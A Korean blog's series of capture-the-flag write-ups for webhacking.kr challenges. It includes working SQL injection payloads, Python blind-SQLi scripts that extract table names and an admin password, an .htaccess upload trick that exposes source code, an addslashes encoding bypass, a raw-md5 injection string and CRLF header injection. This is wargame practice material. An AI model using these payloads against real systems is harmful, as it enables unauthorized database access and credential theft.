반응형

1. 문제 분석


일단 문제에 접근하여 소스코드를 확인해보았다.


val 파라미터로 입력받은 값을 go 변수에 대입한 뒤 해당 값에 사칙연상, from, 공백이 있으면 Access Denied!를 출력하고 종료시킨다.

preg_match에서 \\s는 whitespace를 의미하는 값이다.


해당 값들이 존재하지 않으면 랜덤 값에 따라 괄호의 수가 달라지고 go 변수를 삽입한 쿼리의 결과 2가 출력되면 문제가 solve 된다.


2. 풀이

우선 go 변수에 대입되는 값이 2여야 한다.

이 때 사칙연산이 막혀있어서 나는 나머지를 생각하였다.

9%7를 입력해보았는데 nice try!가 뜰 뿐 문제가 풀리지 않아 혹시 %가 제대로 입력되지 않는 것인가 하여 mod(9,7)를 해보았지만 여전히 풀리지 않았다.


로컬에서 하였을 때는 제대로 되는 것을 통해 해당 테이블에 lv가 2인 데이터가 존재하지 않다는 것을 알았다.

이후 나는 union을 이용하여 2를 직접 출력하는 방향으로 잡았다.


랜덤이 1이라 가정하고 다음과 같이 입력하여 문제를 풀었다.

0)union(select(mod(9,7))

또는

0)union(select(ceiling(1.9))


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
블로그 이미지

rootable

,
반응형

소스코드를 확인하면 쿠키 내 user와 password 값에서 특수문자를 숫자로 변형 후 20번 디코딩 한 값이 admin과 nimda인지 확인한다.
해당 조건에 맞도록 python으로 코드를 작성하여 풀면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
 
id='admin'
pw='nimda'
 
byte_id=id.encode('utf-8')
byte_pw=pw.encode('utf-8')
 
for i in range(1,21):
    byte_id=base64.b64encode(byte_id)
    byte_pw=base64.b64encode(byte_pw)
 
temp_id=byte_id.decode('utf-8')
temp_pw=byte_pw.decode('utf-8')
 
temp_id=temp_id.replace('1','!')
temp_id=temp_id.replace('2','@')
temp_id=temp_id.replace('3','$')
temp_id=temp_id.replace('4','^')
temp_id=temp_id.replace('5','&')
temp_id=temp_id.replace('6','*')
temp_id=temp_id.replace('7','(')
temp_id=temp_id.replace('8',')')
 
temp_pw=temp_pw.replace('1','!')
temp_pw=temp_pw.replace('2','@')
temp_pw=temp_pw.replace('3','$')
temp_pw=temp_pw.replace('4','^')
temp_pw=temp_pw.replace('5','&')
temp_pw=temp_pw.replace('6','*')
temp_pw=temp_pw.replace('7','(')
temp_pw=temp_pw.replace('8',')')
 
print('[+]id:'+temp_id)
print('[+]pw:'+temp_pw)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
블로그 이미지

rootable

,
반응형

쿠키 값 중 time 값에 if 구문을 통해 SQLi가 가능하다.


1. 테이블명 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(table_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.tables+where+table_schema=database()),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


결과 : admin_area_pw, log



2. 컬럼명 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,3):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(column_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.columns+where+table_name="admin_area_pw"),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


결과 : pw


3. pw 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(pw,'+str(i)+',1))),7,0),'+str(j)+',1)+from+admin_area_pw),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
블로그 이미지

rootable

,
반응형

문제에 접근하면 아래와 같이 업로드하는 로직이 있으며, 업로드 경로에 있는 flag.php 파일을 읽으면 된다고 한다.



가장 먼저 든 생각은 웹쉘을 올리는 것이였다.

그래서 일단 php 코드 실행이 가능한지 테스트하기 위해 간단하게 echo 문을 통해 php 파일을 올려보았다.


하지만 다음과 같이 <?php의 <가 제거되어 php 코드가 실행되지 않고 그냥 출력되었다.


여기서 나는 <?php 를 제외하고 php 코드를 실행할 수 있는 것이 있는데 결국 찾지 못하였다.

php.ini에서 short_open_tag를 이용하면 <?를 통해서도 실행이 가능하다고 하지만 이는 <를 이용하고 있기도 하고 수정 후 서버를 재시작해야 한다고 해서 해당 문제와는 관련이 없을거라 생각하였다.


계속 찾아보다가 업로드하는 디렉토리와 flag.php가 위치하는 경로가 일치하므로 디렉토리에서 실행과 관련된 설정을 하는 .htaccess와 관련이 있지 않을까 하여 알아보다가 php_flag engine off 라는 것을 알았다.


해당 옵션을 .htaccess에 설정할 경우 해당 디렉토리에서는 php 실행이 불가능하여, flag.php에 접근하게 되면 소스코드가 그대로 노출이 될 것이다.



위와 같이 .htaccess 파일을 업로드 후 flag.php에 접근하면 그대로 소스코드가 노출되며 그 안에 FLAG가 존재한다.




반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
블로그 이미지

rootable

,
반응형

처음 접근하면 로그인 창이 뜨는데 로그인 버튼을 누르면 ?no=1&id=guest&pw=guest 형태로 요청이 날아간다.

힌트나 소스코드가 존재하지 않아 일단은 no=2로 로그인을 해야겠다고 생각하였다.


no 부분에 ?no=0||no=2와 같이 입력하니 관리자 로그인 페이지에 접근됨을 확인할 수 있었다.


단순히 no=2로 로그인하는 것이 아니라, 정확히 admin의 pw를 획득해야 하므로 다시 no 파라미터를 이용하여 admin의 pw를 찾았다.

이 때 몇가지 filter가 있는데, ascii와 ord가 사용되지 않아 hex를 이용하였다.


hex를 이용하였을 때 pw의 첫번째 값을 획득하니 6이 나왔는데, 뭔가 잘못됐다는 생각이 들어 다른 방식으로 접근하였다.

바로 아래와 같이 hex 함수를 이용할 때 문자열과 문자열에 해당하는 ascii 코드를 이용하였을 때 결과가 같다는 점을 이용한 것이다.

hex('a')=hex(97)


이를 이용하여 python 코드를 작성하여 admin에 해당하는 pw를 획득하였고 이를 통해 문제를 solve하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
url="https://webhacking.kr/challenge/web-29/?id=g&pw=g"
flag=""
 
for i in range(1,11):
    for j in range(95,123):
        param = "&no=0||no=2%26%26hex(substr(pw,"+str(i)+",1))=hex("+str(j)+")"
        response = requests.get(url+param)
        print(response.url)
        if('admin' in response.text):
            print("[+] flag : "+chr(j))
            flag+=chr(j)
            break
        print("[-] not")
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
블로그 이미지

rootable

,
반응형

view-source를 통해 소스코드를 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  if($_GET['id'&& $_GET['pw']){
    $db = dbconnect();
    $_GET['id'= addslashes($_GET['id']); 
    $_GET['pw'= addslashes($_GET['pw']);
    $_GET['id'= mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ckif(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1echo("level : 1<br><br>");
      if($result['lv']==2echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$resultecho("Wrong");
  }
?>
cs


일단 포인트부터 잡아보자면 id와 pw를 addslashes를 통해 공격을 방어하지만 6번 라인에서 mb_convert_encoding 함수를 통해 id 파라미터를 euc-kr로 변환시켜주므로 이 부분이 포인트임을 알 수 있다.


내가 정리해둔 포스팅을 통해 우회할 수 있으므로 id 부분을 통해 SQL Injection을 진행하면 될 것으로 보인다.

https://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C



여기서 문제 solve를 하기 위해 lv 3을 해야 하므로 limit 기능을 이용하여 찾아보았다.

하지만 lv 2까지는 나오지만 3는 나오지 않는 것을 통해 테이블 내에 lv 3가 존재하지 않다는 것을 파악한 뒤 다시 소스코드를 보았다.


id로 넘어오는 값에서 union을 체크하는 것으로 보아 pw 부분에서 union을 이용하여 진행할 수 있을까를 생각해보았다.

id 부분에서 백슬래시를 넣어 싱글쿼터를 무력화 시킨 뒤 union을 이용하면 가능할 것이라 생각하였다.


이것을 정리하면 다음과 같은 쿼리가 된다.

select lv from chall50 where id='?\' and pw=md5(' union select 3#')



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형
해당 문제는 md5와 관련한 취약점 문제이다.
기존에 알아뒀던 것이 있어 금방 문제를 solve하였다.

문제 source-view를 이용하여 소스코드를 확인해보자.
1
2
3
4
5
6
7
8
9
10
<?php
  if($_POST['id'&& $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
cs

해당 문제를 보면 id는 addslashes를 이용하여 싱글쿼터를 차단하고 있으므로 pw를 이용하여야함을 확인할 수 있다.
이 때 pw를 보면 POST 방식으로 받는 값을 md5 함수로 변환하여 select하고 있는데 여기서 바로 느낌이 왔다.

확신이 든 것은 md5 함수의 raw_output 옵션이 true로 되어 있으며, select 구문의 결과 id가 특정되어 있지 않다는 점이다.
이게 무슨 말인지는 아래 링크를 통해 확인을 직접 해보길 바란다.

링크 : https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

문제 solve할 때는 그냥 id에 임의의 문자열과 함께 링크에서 제공해준 문자열 [ 129581926211651571912466741651878684928 ]을 입력해주면 문제가 solve된다.

다음 사진과 같이 md5의 결과가 raw 형태로 출력된다면 마지막의 'or'8 로 인해 select 구문이 true가 되어 id가 출력되는 것이다.





반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-57 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형

문제 접근하여 admin 페이지에 접근하면 로그인 페이지가 뜨는데 여기서 그냥 취소를 누르면 view-source 버튼이 있다.

소스코드를 확인해보자.



소스코드를 보면 다음과 같이 2가지 부분을 해결해야 한다.

먼저 아래부분을 보면 로그인하는 부분인데, 여기서는 그냥 간단히 SQL Injection을 통해 pw를 모르는 상태에서도 로그인이 가능하다.

id 부분에 [admin'-- ]을 입력하면 로그인이 가능하다.


하지만 위에서 로컬에서 접근한 것인지 확인하는 부분에 의해 차단되어 flag 값을 획득할 수 없다.

이 때 proxy.php 기능을 이용하면 로컬에서 접근이 가능하다.


위의 사진과 같이 proxy.php에 접근하여 page 파라미터에 %0d%0a를 통해 CRLF를 이용하면 내가 원하는 헤더를 proxy request에 추가하여 보낼 수 있다.


이를 이용하여 위에서 인증하여 얻은 Authorization 값과 세션 값을 넣어주면 문제가 solve된다.

(추가) Authorization 값만 넣으면 세션을 생성하여 다시 페이지를 요청하기 때문에 flag가 뜨지 않고, 세션 값만 넣으면 인증되지 않았다고 뜨므로, 두가지 값을 모두 한번에 넣어주어야 한다.


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
블로그 이미지

rootable

,